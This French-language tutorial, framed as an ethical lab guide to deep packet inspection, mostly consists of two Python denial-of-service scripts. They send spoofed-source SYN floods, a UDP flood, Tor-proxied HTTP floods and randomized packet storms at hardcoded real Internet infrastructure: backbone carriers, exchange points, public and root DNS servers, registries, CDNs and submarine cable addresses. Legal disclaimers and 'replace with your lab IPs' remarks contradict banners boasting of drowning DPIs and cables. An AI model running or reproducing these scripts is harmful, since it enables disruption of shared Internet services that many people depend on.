Analyse et Test des DPI – Comprendre et Renforcer Votre Réseau!
Objectif : Explorer le fonctionnement des DPI (Deep Packet Inspection) dans un lab contrôlé pour étudier leur gestion du trafic réseau, tester la résilience de vos propres systèmes, et approfondir vos connaissances en cybersécurité – tout cela dans un cadre strictement légal et éthique.
🛑 Avertissement Légal :
Ce guide est conçu pour des tests sur votre propre infrastructure ou en environnement lab. Toute utilisation non autorisée sur un réseau tiers est strictement interdite et peut constituer une infraction. L’auteur décline toute responsabilité en cas d’usage détourné.
Tester un réseau sans autorisation peut violer :
- Article 323-1 du Code Pénal Français (accès et maintien frauduleux dans un SI).
- LOI n° 2016-1321 (Loi République Numérique) sur la neutralité du net.
Introduction : Pourquoi Étudier les DPI ?
« Passionnés de cybersécurité, ce guide vous accompagne dans la compréhension des DPI – ces outils qui analysent le trafic réseau. Utilisés pour la QoS, la sécurité ou la gestion, ils sont partout. Ici, on simule leur comportement en lab pour apprendre, optimiser nos réseaux, et renforcer nos défenses. Tout reste légal, éducatif, et sous votre contrôle. Prêt à décortiquer les flux ? 😊🔍 »
Prérequis
- Système : Kali Linux (VM ou physique), avec droits root.
- Installations :
sudo apt install python3-scapy tor nmap tcpdump wireshark hping3 && pip3 install requests pysocks - Setup : Lab sécurisé (ex. Metasploitable, vieux routeur Cisco 2800) – uniquement sur votre matériel ou avec permission.
- Mac : Spoofez votre MAC en lab :
sudo macchanger -r eth0. - Focus : Simulation et analyse de trafic réseau dans un environnement contrôlé.
Étape 1 : NoiseGenix – Simuler du Trafic Réseau Complexe
Concept : Générer un trafic varié pour étudier comment un DPI ou votre réseau gère des flux simulés. Les cibles listées ci-dessous sont des exemples publics pour illustrer – utilisez vos propres adresses en lab.
Code python:
from scapy.all import *
import requests
import random
import time
import os
from threading import Thread
# 🔹 Liste de cibles pour simuler un environnement réseau (exemples publics, à remplacer par vos IPs locales en lab!)
sites = [
# Backbones
"https://38.0.0.1", "https://66.28.0.1", # Cogent Communications
"https://4.68.63.1", "https://209.244.0.1", # Level 3 Communications (CenturyLink)
"https://80.91.247.1", "https://213.248.0.1", # Telia Carrier
"https://129.250.0.1", "https://203.192.0.1", # NTT Communications
"https://69.174.0.1", "https://64.125.0.1", # GTT Communications
"https://64.124.0.1", "https://206.223.116.1", # Zayo Group
"https://116.0.0.1", "https://202.54.0.1", # Tata Communications
"https://72.52.0.1", "https://216.218.0.1", # Hurricane Electric
"https://12.0.0.1", "https://192.205.0.1", # AT&T
"https://130.81.0.1", "https://199.45.0.1", # Verizon
"https://202.97.0.1", "https://218.30.0.1", # China Telecom
"https://210.52.0.1", "https://219.158.0.1", # China Unicom
"https://62.154.0.1", "https://217.5.0.1", # Deutsche Telekom
"https://80.12.0.1", "https://193.252.0.1", # Orange (France)
"https://82.98.0.1", "https://213.140.0.1", # Telefónica (Espagne)
"https://81.218.0.1", "https://217.144.0.1", # Vodafone
"https://62.6.0.1", "https://194.72.0.1", # BT (British Telecom)
"https://66.150.0.1", "https://208.172.0.1", # Sprint (T-Mobile)
"https://213.46.0.1", "https://84.116.0.1", # Liberty Global
"https://211.104.0.1", "https://112.175.0.1", # Korea Telecom
# Points d'échange Internet (IXP)
"https://80.249.208.1", # AMS-IX (Amsterdam)
"https://80.81.193.1", # DE-CIX (Francfort)
"https://195.66.224.1", # LINX (Londres)
"https://206.223.116.1", # Equinix (États-Unis)
"https://210.171.224.1", # JPNAP (Japon)
"https://123.255.90.1", # HKIX (Hong Kong)
"https://198.32.160.1", # NYIIX (New York)
"https://206.81.80.1", # SIX (Seattle)
"https://206.108.34.1", # TORIX (Toronto)
"https://193.191.0.1", # BNIX (Belgique)
"https://187.16.216.1", # IX.br (Sao Paulo)
"https://195.208.208.1", # Moscow IX
"https://103.16.102.1", # Singapore IX
"https://218.100.52.1", # Sydney IX
# Serveurs DNS publics
"https://8.8.8.8", "https://8.8.4.4", # Google Public DNS
"https://1.1.1.1", "https://1.0.0.1", # Cloudflare DNS
"https://9.9.9.9", "https://149.112.112.112", # Quad9
"https://208.67.222.222", "https://208.67.220.220", # OpenDNS (Cisco)
"https://8.26.56.26", "https://8.20.247.20", # Comodo Secure DNS
"https://77.88.8.8", "https://77.88.8.1", # Yandex DNS
"https://180.76.76.76", # Baidu DNS
"https://94.140.14.14", "https://94.140.15.15", # AdGuard DNS
"https://185.228.168.9", "https://185.228.169.9", # CleanBrowsing DNS
"https://156.154.70.1", "https://156.154.71.1", # Neustar DNS
"https://45.90.28.1", "https://45.90.30.1", # NextDNS
"https://161.97.219.1", "https://185.121.177.1", # OpenNIC
# Serveurs racine DNS
"https://198.41.0.4", # A Root Server
"https://199.9.14.201", # B Root Server
"https://192.33.4.12", # C Root Server
"https://199.7.91.13", # D Root Server
"https://192.203.230.10", # E Root Server
"https://192.5.5.241", # F Root Server
"https://192.112.36.4", # G Root Server
"https://198.97.190.53", # H Root Server
"https://192.36.148.17", # I Root Server
"https://192.58.128.30", # J Root Server
"https://193.0.14.129", # K Root Server
"https://199.7.83.42", # L Root Server
"https://202.12.27.33", # M Root Server
# Autres infrastructures critiques
"https://193.0.0.1", # RIPE NCC (Réseaux IP Européens)
"https://199.212.0.1", # ARIN (American Registry for Internet Numbers)
"https://202.12.29.1", # APNIC (Asia-Pacific Network Information Centre)
"https://200.3.14.1", # LACNIC (Amérique latine et Caraïbes)
"https://196.216.0.1", # AFRINIC (Afrique)
"https://192.0.32.1", # ICANN
"https://192.0.43.1", # IANA
"https://192.82.134.1", "https://192.82.133.1", # VeriSign (.com, .net)
"https://199.249.112.1", # PIR (.org)
"https://128.223.51.1", # Route Views (BGP)
# Autres adresses IP notables
"https://216.58.0.1", "https://142.250.0.1", # Google
"https://31.13.0.1", "https://157.240.0.1", # Facebook
"https://54.239.0.1", "https://52.95.0.1", # Amazon AWS
"https://13.64.0.1", "https://40.112.0.1", # Microsoft Azure
"https://23.0.0.1", "https://104.64.0.1", # Akamai (CDN)
"https://104.16.0.1", "https://172.64.0.1", # Cloudflare
"https://151.101.0.1", "https://151.101.64.1", # Fastly (CDN)
"https://23.246.0.1", "https://45.57.0.1", # Netflix
"https://17.0.0.1", "https://17.142.0.1", # Apple
# Sites publics pour diversifier le bruit
"https://youtube.com", "https://reddit.com", "https://github.com",
"https://wikipedia.org", "https://duckduckgo.com", "https://news.ycombinator.com",
"https://stackoverflow.com", "https://bbc.com", "https://nytimes.com",
"https://theguardian.com",
# Boost: câbles sous-marins
"https://82.112.106.1", # SEA-ME-WE 3 – EU-Asie
"https://154.54.0.1" # TAT-14 – Transatlantique
# Vos cibles locales (à privilégier)
"http://192.168.1.100", "http://10.0.0.1"
]
def get_active_iface():
ifaces = [iface for iface in get_if_list() if "eth" in iface or "wlan" in iface]
return ifaces[0] if ifaces else "wlan0"
def setup_tor_proxy():
try:
if not os.popen("pidof tor").read():
os.system("tor &")
time.sleep(5)
return socks.PROXY_TYPE_SOCKS5, "localhost", 9050
except Exception as e:
print(f"[-] Erreur Tor : {e}")
return None, None, None
def http_flood():
proxy_type, proxy_host, proxy_port = setup_tor_proxy()
if not proxy_type:
return
session = requests.Session()
session.proxies = {
"http": f"socks5://{proxy_host}:{proxy_port}",
"https": f"socks5://{proxy_host}:{proxy_port}"
}
while True:
url = random.choice(sites)
try:
response = session.get(url, headers={"User-Agent": random.choice(["Mozilla/5.0", "Chrome/91.0"])}, timeout=3)
print(f"[+] HTTP Flood: {url} - Code {response.status_code}")
except Exception as e:
print(f"[-] HTTP Flood Error: {e}")
time.sleep(random.expovariate(0.5))
def packet_chaos():
iface = get_active_iface()
print(f"[+] Packet Chaos ON – Interface: {iface}")
while True:
target = random.choice([url.replace("https://", "") for url in sites if url.startswith("https://")])
try:
pkt = IP(dst=target, src=RandIP("0.0.0.0/0")) / \
TCP(dport=RandShort(), sport=RandShort(), flags="S",
options=[("MSS", random.choice([100, 666, 1500])),
("WScale", random.choice([0, 255])),
("NOP", None)])
send(pkt, iface=iface, verbose=0)
print(f"[+] Chaos: {pkt.summary()}")
except Exception as e:
print(f"[-] Erreur Chaos: {e}")
time.sleep(0.05)
def tor_hard():
print("[+] Tor ON – Bridges obligatoires !")
while True:
if not os.popen("pidof tor").read():
os.system("tor &")
time.sleep(5)
time.sleep(3600)
def kill_switch():
while True:
if input("Arrêter ? (o/n) : ").lower() == 'o':
os.system("killall tor")
os._exit(0)
if __name__ == "__main__":
print("🔥 NOISEGENIX HARDCORE – ON NOIE LES DPI ET LES CÂBLES 🔥")
Thread(target=http_flood, daemon=True).start()
Thread(target=packet_chaos, daemon=True).start()
Thread(target=tor_hard, daemon=True).start()
Thread(target=kill_switch).start()
Lancer : sudo python3 noise_sim.py
Explication:
« NoiseGenix simule un trafic réseau varié dans votre lab. La liste inclut des adresses publiques (backbones, IXP, DNS, câbles) comme exemples pour illustrer un environnement complexe – mais en pratique, remplacez-les par vos IPs locales (ex. 192.168.1.x).
- HTTP Simulation : Teste la gestion des requêtes sur vos serveurs.
- Packet Simulation : Envoie des paquets TCP simples pour observer les réponses.
- Tor : Simule son usage pour étudier son impact.
C’est une démo éducative – adaptez les cibles à votre lab et restez légal! »
Étape 2 : Scan & Analyse – Observer Votre Lab
Concept : Étudier les réponses réseau pour mieux comprendre votre setup ou un DPI simulé.
Commandes :
- Scan léger :
sudo nmap -sS -p 1-1000 -T2 192.168.1.0/24 -oN lab_scan.txt - Capture :
sudo tcpdump -i wlan0 -w lab_sniff.pcap 'port 80 or port 443' - Analyse :
wireshark lab_sniff.pcap– Examinez vos flux. - Test doux :
sudo hping3 -S -p 80 -c 10 192.168.1.1– Vérifiez la stabilité.
Explication:
« On explore votre lab :
- Nmap : Scan lent pour lister les ports ouverts sur vos machines.
- Tcpdump : Capturez vos flux locaux pour les analyser.
- Wireshark : Étudiez les paquets générés dans votre lab.
- Hping3 : Test minimal pour évaluer vos équipements.
- Restez sur votre réseau – c’est pour apprendre, pas pour sonder l’extérieur!
»
Étape 3 : BlackBoxTester – Tester la Résilience en Simulation
Concept : Simuler des scénarios réseau complexes pour évaluer vos systèmes. Les cibles ci-dessous sont des exemples – utilisez vos IPs locales.
Code python :
from scapy.all import *
import requests
import random
import time
import os
from threading import Thread
import socks
import socket
# 🔹 Liste de cibles pour simuler un réseau (exemples, remplacez par vos IPs locales)
targets = [
# 1. Backbones majeurs (Fournisseurs de transit Internet)
"38.0.0.1", "66.28.0.1", # Cogent Communications
"4.68.63.1", "209.244.0.1", # Level 3 Communications (CenturyLink)
"80.91.247.1", "213.248.0.1", # Telia Carrier
"129.250.0.1", "203.192.0.1", # NTT Communications
"69.174.0.1", "64.125.0.1", # GTT Communications
"64.124.0.1", "206.223.116.1", # Zayo Group
"116.0.0.1", "202.54.0.1", # Tata Communications
"72.52.0.1", "216.218.0.1", # Hurricane Electric
"12.0.0.1", "192.205.0.1", # AT&T
"130.81.0.1", "199.45.0.1", # Verizon
"202.97.0.1", "218.30.0.1", # China Telecom
"210.52.0.1", "219.158.0.1", # China Unicom
"62.154.0.1", "217.5.0.1", # Deutsche Telekom
"80.12.0.1", "193.252.0.1", # Orange (France)
"82.98.0.1", "213.140.0.1", # Telefónica (Espagne)
"81.218.0.1", "217.144.0.1", # Vodafone
"62.6.0.1", "194.72.0.1", # BT (British Telecom)
"66.150.0.1", "208.172.0.1", # Sprint (T-Mobile)
"213.46.0.1", "84.116.0.1", # Liberty Global
"211.104.0.1", "112.175.0.1", # Korea Telecom
# 2. Points d'échange Internet (IXP)
"80.249.208.1", # AMS-IX (Amsterdam)
"80.81.193.1", # DE-CIX (Francfort)
"195.66.224.1", # LINX (Londres)
"206.223.116.1", # Equinix (États-Unis)
"210.171.224.1", # JPNAP (Japon)
"123.255.90.1", # HKIX (Hong Kong)
"198.32.160.1", # NYIIX (New York)
"206.81.80.1", # SIX (Seattle)
"206.108.34.1", # TORIX (Toronto)
"193.191.0.1", # BNIX (Belgique)
"187.16.216.1", # IX.br (Sao Paulo)
"195.208.208.1", # Moscow IX
"103.16.102.1", # Singapore IX
"218.100.52.1", # Sydney IX
# 3. Serveurs DNS publics
"8.8.8.8", "8.8.4.4", # Google Public DNS
"1.1.1.1", "1.0.0.1", # Cloudflare DNS
"9.9.9.9", "149.112.112.112", # Quad9
"208.67.222.222", "208.67.220.220", # OpenDNS (Cisco)
"8.26.56.26", "8.20.247.20", # Comodo Secure DNS
"77.88.8.8", "77.88.8.1", # Yandex DNS
"180.76.76.76", # Baidu DNS
"94.140.14.14", "94.140.15.15", # AdGuard DNS
"185.228.168.9", "185.228.169.9", # CleanBrowsing DNS
"156.154.70.1", "156.154.71.1", # Neustar DNS
"45.90.28.1", "45.90.30.1", # NextDNS
"161.97.219.1", "185.121.177.1", # OpenNIC
# 4. Serveurs racine DNS
"198.41.0.4", # A Root Server
"199.9.14.201", # B Root Server
"192.33.4.12", # C Root Server
"199.7.91.13", # D Root Server
"192.203.230.10", # E Root Server
"192.5.5.241", # F Root Server
"192.112.36.4", # G Root Server
"198.97.190.53", # H Root Server
"192.36.148.17", # I Root Server
"192.58.128.30", # J Root Server
"193.0.14.129", # K Root Server
"199.7.83.42", # L Root Server
"202.12.27.33", # M Root Server
# 5. Autres infrastructures critiques
"193.0.0.1", # RIPE NCC (Réseaux IP Européens)
"199.212.0.1", # ARIN (American Registry for Internet Numbers)
"202.12.29.1", # APNIC (Asia-Pacific Network Information Centre)
"200.3.14.1", # LACNIC (Amérique latine et Caraïbes)
"196.216.0.1", # AFRINIC (Afrique)
"192.0.32.1", # ICANN
"192.0.43.1", # IANA
"192.82.134.1", "192.82.133.1", # VeriSign (.com, .net)
"199.249.112.1", # PIR (.org)
"128.223.51.1", # Route Views (BGP)
# 6. Autres adresses IP notables
"216.58.0.1", "142.250.0.1", # Google
"31.13.0.1", "157.240.0.1", # Facebook
"54.239.0.1", "52.95.0.1", # Amazon AWS
"13.64.0.1", "40.112.0.1", # Microsoft Azure
"23.0.0.1", "104.64.0.1", # Akamai (CDN)
"104.16.0.1", "172.64.0.1", # Cloudflare
"151.101.0.1", "151.101.64.1", # Fastly (CDN)
"23.246.0.1", "45.57.0.1", # Netflix
"17.0.0.1", "17.142.0.1", # Apple
# Boost crade : câbles sous-marins
"82.112.106.1", # SEA-ME-WE 3
"154.54.0.1" # TAT-14
# Vos cibles locales (à privilégier)
"192.168.1.100", "10.0.0.1"
]
# 🔹 Ports cibles
ports = [80, 443, 53, 8080, 3128, 8443, 5000]
def get_active_iface():
ifaces = [iface for iface in get_if_list() if "eth" in iface or "wlan" in iface]
return ifaces[0] if ifaces else "eth0"
def setup_tor_proxy():
try:
if not os.popen("pidof tor").read():
os.system("tor &")
time.sleep(5)
return socks.PROXY_TYPE_SOCKS5, "localhost", 9050
except Exception as e:
print(f"[-] Erreur Tor : {e}")
return None, None, None
def http_flood():
sites = [f"http://{target}" for target in targets] + [f"https://{target}" for target in targets]
proxy_type, proxy_host, proxy_port = setup_tor_proxy()
if not proxy_type:
return
session = requests.Session()
session.proxies = {
"http": f"socks5://{proxy_host}:{proxy_port}",
"https": f"socks5://{proxy_host}:{proxy_port}"
}
threads = []
for _ in range(5):
t = Thread(target=lambda: flood_worker(sites, session))
t.start()
threads.append(t)
for t in threads:
t.join()
def flood_worker(sites, session):
while True:
url = random.choice(sites)
headers = {
"User-Agent": random.choice(["Mozilla/5.0", "Chrome/91.0"]),
"Accept": "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=20))
}
try:
response = session.get(url, headers=headers, timeout=2)
print(f"[+] HTTP Flood: {url} - Code {response.status_code}")
except requests.RequestException as e:
print(f"[-] HTTP Flood Error: {e}")
time.sleep(random.expovariate(0.3))
def blackbox_killer(manual_target):
iface = get_active_iface()
print(f"[+] BlackBox Killer ON – Cible: {manual_target if manual_target else 'Backbones'} | Interface: {iface}")
all_targets = targets.copy()
if manual_target:
all_targets.append(manual_target)
while True:
target = random.choice(all_targets)
try:
pkt = IP(dst=target, src=RandIP("0.0.0.0/0"), tos=0xff, ttl=random.randint(5, 64)) / \
TCP(dport=random.choice([80, 8080, 5000]),
sport=RandShort(),
flags="S",
window=0,
seq=0xdeadbeef,
options=[("MSS", 666), ("NOP", None), ("WScale", 255)])
send(pkt, iface=iface, verbose=0)
print(f"[+] Crash: {target}:{pkt[TCP].dport} → {pkt.summary()}")
except Exception as e:
print(f"[-] Erreur TCP: {e}")
time.sleep(0.01)
def udp_dos(manual_target, port):
iface = get_active_iface()
print(f"[+] UDP DoS ON – Cible: {manual_target if manual_target else 'Backbones'} | Port: {port} | Interface: {iface}")
all_targets = targets.copy()
if manual_target:
all_targets.append(manual_target)
while True:
target = random.choice(all_targets)
try:
pkt = IP(dst=target, src=RandIP("0.0.0.0/0")) / \
UDP(dport=port, sport=RandShort()) / \
Raw(RandString(random.randint(500, 1024)))
send(pkt, iface=iface, verbose=0)
print(f"[+] UDP DoS: {target}:{port}")
except Exception as e:
print(f"[-] Erreur UDP: {e}")
time.sleep(0.002)
def packet_chaos():
iface = get_active_iface()
print("[+] Packet Chaos ON – On phoques les DPI...")
while True:
target = random.choice(targets)
dport = random.choice(ports)
try:
pkt = IP(dst=target, src=RandIP("0.0.0.0/0"), tos=random.randint(0, 255)) / \
TCP(dport=dport, sport=RandShort(),
flags=random.choice(["S", "SA", "F", "PA", "R"]),
window=random.randint(0, 65535),
seq=random.randint(0, 0xFFFFFFFF),
options=[("MSS", random.choice([100, 666, 1500])),
("WScale", random.choice([0, 255])),
("NOP", None),
("Timestamp", (random.randint(0, 0xFFFFFFFF), 0))]) / \
Raw(os.urandom(random.randint(50, 200)))
send(pkt, iface=iface, verbose=0)
print(f"[+] Chaos: {target}:{dport} → {pkt.summary()}")
except Exception as e:
print(f"[-] Erreur Chaos: {e}")
time.sleep(random.uniform(0.01, 0.05))
def kill_switch():
while True:
if input("Arrêter ? (o/n) : ").lower() == 'o':
os.system("killall tor")
os._exit(0)
if __name__ == "__main__":
print("🔥 BLACKBOXKILLER – ON TEST TOUT 🔥")
print("Lab d’abord, $$$$$$$$*******ù*ù*ù***ù.")
target = input("IP cible (ou vide) : ")
port = input("Port DPI (8080, 5000, ou vide pour random) : ")
if not target:
target = None
print("[+] Mode only")
if not port:
port = random.choice(ports)
print(f"[+] Port random: {port}")
else:
port = int(port)
Thread(target=http_flood, daemon=True).start()
Thread(target=blackbox_killer, args=(target,), daemon=True).start()
Thread(target=udp_dos, args=(target, port), daemon=True).start()
Thread(target=packet_chaos, daemon=True).start()
Thread(target=kill_switch).start()
Lancer : sudo python3 blackbox_sim.py
Explication Propre :
« BlackBoxTester simule des tests de résilience dans votre lab. Les cibles listées (backbones, IXP, DNS, câbles) sont des exemples pour montrer un réseau complexe – remplacez-les par vos IPs locales ! (ex. 192.168.1.x).
- HTTP Simulation : Teste vos serveurs locaux avec des requêtes simples.
- Packet Test : Envoie des paquets TCP basiques pour évaluer vos systèmes.
- C’est un outil éducatif – adaptez-le à votre lab et restez dans les clous.
»
Étape 4 : Bonnes Pratiques pour Votre Lab
- Tor en Simulation : « Ajoutez Bridge obfs4 dans /etc/tor/torrc pour simuler son effet dans votre lab – usage éducatif uniquement! »
- DPI Simulé : « Installez Snort/Suricata sur un routeur OpenWRT pour imiter un DPI et étudier ses règles. »
- Sécurité : « Changez votre MAC avec
macchanger -r wlan0pour rester discret dans votre environnement contrôlé. »
Conclusion : Maîtriser Votre Réseau
« Avec NoiseGenix et BlackBoxTester, vous simulez des scénarios réseau, comprenez les DPI, et améliorez vos systèmes – tout ça dans un lab légal. Les scripts incluent des cibles publiques pour illustrer, mais utilisez vos IPs locales. 😊🔍 »
# Exemple d’adresses locales à utiliser :
# - Serveur interne : 192.168.1.100
# - Gateway/Switch : 192.168.1.1
# - IDS/Firewall test : 10.0.0.2
🛑 Avertissement Légal :
Ce guide est conçu pour des tests sur votre propre infrastructure ou en environnement lab. Toute utilisation non autorisée sur un réseau tiers est strictement interdite et peut constituer une infraction. L’auteur décline toute responsabilité en cas d’usage détourné.
Tester un réseau sans autorisation peut violer :
Article 323-1 du Code Pénal Français (accès et maintien frauduleux dans un SI).
LOI n° 2016-1321 (Loi République Numérique) sur la neutralité du net.